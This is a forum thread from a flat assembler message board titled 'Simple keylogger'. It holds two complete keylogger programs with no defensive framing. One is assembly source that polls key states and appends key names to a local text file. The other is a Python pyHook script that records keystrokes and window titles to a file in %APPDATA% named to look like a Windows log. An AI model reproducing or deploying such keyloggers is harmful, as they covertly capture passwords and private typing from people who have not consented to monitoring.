flat assembler
Message board for the users of flat assembler.

Index > Windows > Simple keylogger

Author
Thread Post new topic Reply to topic
mbr_tsr



Joined: 03 Apr 2011
Posts: 12092
mbr_tsr 20 Dec 2013, 11:41
Code:
;==============================================
;KeysLog.asm Simple KeyLogger
;Records file keyslog.txt in current folder
;Gives a name to the Keys like magic
;==============================================

format PE console

INCLUDE '..\include\win32ax.inc'

.code

Start:
mov esi,7
invoke Sleep,1

GoGo:
cmp esi,255
je Start

inc esi
invoke GetAsyncKeyState,esi
cmp eax,0
jnz LowGarb
jmp GoGo

LowGarb:
invoke MapVirtualKey,esi,0
shl eax,16
invoke GetKeyNameText,eax,KeyBuffer,0x100

invoke  CreateFile, LogFileName, GENERIC_WRITE, 0,  NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL
cmp eax,0
je Exit
mov ebx, eax
invoke SetFilePointer,ebx,0,0,FILE_END

invoke lstrlen,KeyBuffer
invoke WriteFile,ebx,KeyBuffer,eax,BytesWritten,NULL
invoke Sleep,150
invoke CloseHandle,ebx
jmp GoGo

Exit:
mov ebx, dword [FileHandle]
invoke CloseHandle,ebx
invoke ExitProcess,0

.data
LogFileName db "keyslog.txt",0
BytesWritten dd 0
KeyBuffer rb 0x100
EndBuff:
FileHandle dq 0

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
       Sleep,'Sleep',\
       CreateFile,'CreateFileA',\
       WriteFile,'WriteFile',\
       SetFilePointer,'SetFilePointer',\
       CloseHandle,'CloseHandle',\
       lstrlen,'lstrlenA',\
       ExitProcess,'ExitProcess'

  import user,\
         GetAsyncKeyState, 'GetAsyncKeyState',\
         MapVirtualKey,'MapVirtualKeyA',\
         GetKeyNameText,'GetKeyNameTextA'

section '' fixups discardable

    
Post 20 Dec 2013, 11:41
View user's profile Send private message Reply with quote
hensen007



Joined: 28 Feb 2014
Posts: 1
Location: 1247 W Main St. Alhambra,CA, 91801,USA
hensen007 28 Feb 2014, 07:19
Code:
import pythoncom
import pyHook
import os
import random
import datetime

def OnKeyboardEvent(event):
    directory = os.popen('echo %APPDATA%').read().strip('\r\n')
    directory = str(directory).replace("\\", '/')
    os.chdir(directory)
    now = datetime.datetime.now()
    if os.path.exists(r'WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year)):
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'a')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    else:
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'w')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()    

_________________
Welcome to my website.
Post 28 Feb 2014, 07:19
View user's profile Send private message Visit poster's website Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.